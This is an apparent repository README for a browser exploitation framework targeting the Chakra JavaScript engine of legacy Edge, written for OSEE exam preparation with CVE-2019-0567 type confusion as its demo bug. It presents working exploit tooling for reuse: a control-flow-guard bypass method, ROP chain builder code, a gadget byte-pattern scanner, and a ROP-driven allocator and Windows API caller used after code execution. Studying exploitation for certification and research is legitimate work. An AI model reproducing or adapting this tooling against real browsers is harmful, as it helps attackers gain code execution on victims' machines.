
Browser exploitation framework for Chakra (Edge). Written as part of OSEE preparation. Demo bug: CVE-2019-0567
This repository contains the Browser Exploitation Framework I wrote to prepare for my EXP-401 course. The framework targets the Chakra engine, which was part of Edge until its switch to v8 in 2019.
The demo vulnerability used in the framework is the CVE-2019-0567 Type Confusion.

To make this framework easy to use, I wrote some nice features which make implementing future sandbox escapes incredibly easy.
The framework allows Windows APIs to be called at a high level. It uses a GetProcAddress ROP Chain to resolve any API, and allows for up to four parameters.
function getcomputername_example(winapi, memory_access, memory_manager) {
// Allocate some space for our GetComputerNameA parameters
let buffer_size = 0x100;
let lpBuffer = memory_manager.malloc(buffer_size);
let nSize = memory_manager.malloc(0x8);
memory_access.write_dword(nSize, buffer_size);
let hresult = winapi.call_function("kernel32.dll", "GetComputerNameW", [lpBuffer, nSize]);
memory_access.hexdump(lpBuffer, buffer_size);
log("GetComputerNameA HRESULT: %p", hresult);
}
The CFG bypass I used was the leafInterpreterFrame technique. By walking a few objects, you are able to leak a stack address. From here, you can hunt a function pointer, overwrite it, and gain execution. Porting it to my version of Chakra was a little fiddly so I wrote a blog about it here.
A friend showed me a really nice technique to make returning to JavaScript land really easy. They wrap their CFG bypass in a [1].map() call, meaning they can continue execution in their parent function - it makes the code look much cleaner. You can see an example of that here
Many Windows APIs require parameters and buffers to be aligned. Previously, I was calling Windows APIs by staging paramameters in the .data section - it was very painful. In the end, I wrote my own memory allocator that calls VirtualAlloc, in ROP, and then allows other objects to malloc memory from the buffer. The memory allocator will always return aligned buffers too!
The way rop chains are written is as follows:
let rop_buffer = this.memory_manager.malloc(0x400);
let rop = new ROP(this.aslr.get_chakra_base(), this.memory_access);
rop.pop_rcx(0x4141414141414141);
rop.getChain().map((gadget) => {
this.memory_access.write_pointer(rop_buffer, gadget);
rop_buffer += 8;
});
The underlying ROP gadgets are implemented as little functions:
pop_rcx(value) {
this.add_gadget(this.pattern_scan.scan_for_gadget(["pop_rcx", "ret"]));
this.add_gadget(value);
}
This way, we can do more complex chains of gadgets to perform a higher-level action such as pop r9. There was no nice gadget, so it's implemented as a combination of a few:
pop_r9(value) {
this.pop_rax(value);
this.add_gadget(this.pattern_scan.scan_for_gadget(["mov_r9_rax", "add_rsp_20", "pop_rbx", "ret"]));
// Add filler for rsp
this.nop();
this.nop();
this.nop();
this.nop();
// Add filler for rbx
this.nop();
}
To try to increase portability of the framework, there is also a ROP Pattern Scanner. It uses the read primitive to scan for a sequence of bytes that form the required chain.
There is also a global cache which dramatically improves the performance of the scanner.
get_pattern(instruction) {
let byte_patterns = {
"mov_r9_rax": [0x4c, 0x8b, 0xc8],
"add_rsp_20": [0x48, 0x83, 0xc4, 0x20],
"pop_rax": [0x58],
"pop_rbx": [0x5b],
"pop_rsp": [0x5c],
"pop_r8": [0x41, 0x58],
"pop_rdx": [0x5a],
"pop_rcx": [0x59],
"mov_rax_deref_rcx": [0x48, 0x8b, 0x01],
"add_rsp_0x18": [0x48, 0x83, 0xc4, 0x18],
"add_rsp_0x28": [0x48, 0x83, 0xc4, 0x28],
"mov_deref_rcx_rax": [0x48, 0x89, 0x01],
"mov_rcx_deref_rax_plus_20": [0x48, 0x8b, 0x48, 0x20],
"mov_deref_rdx_plus_30_rcx": [0x48, 0x89, 0x4a, 0x30],
"ret": [0xc3],
};
return byte_patterns[instruction];
}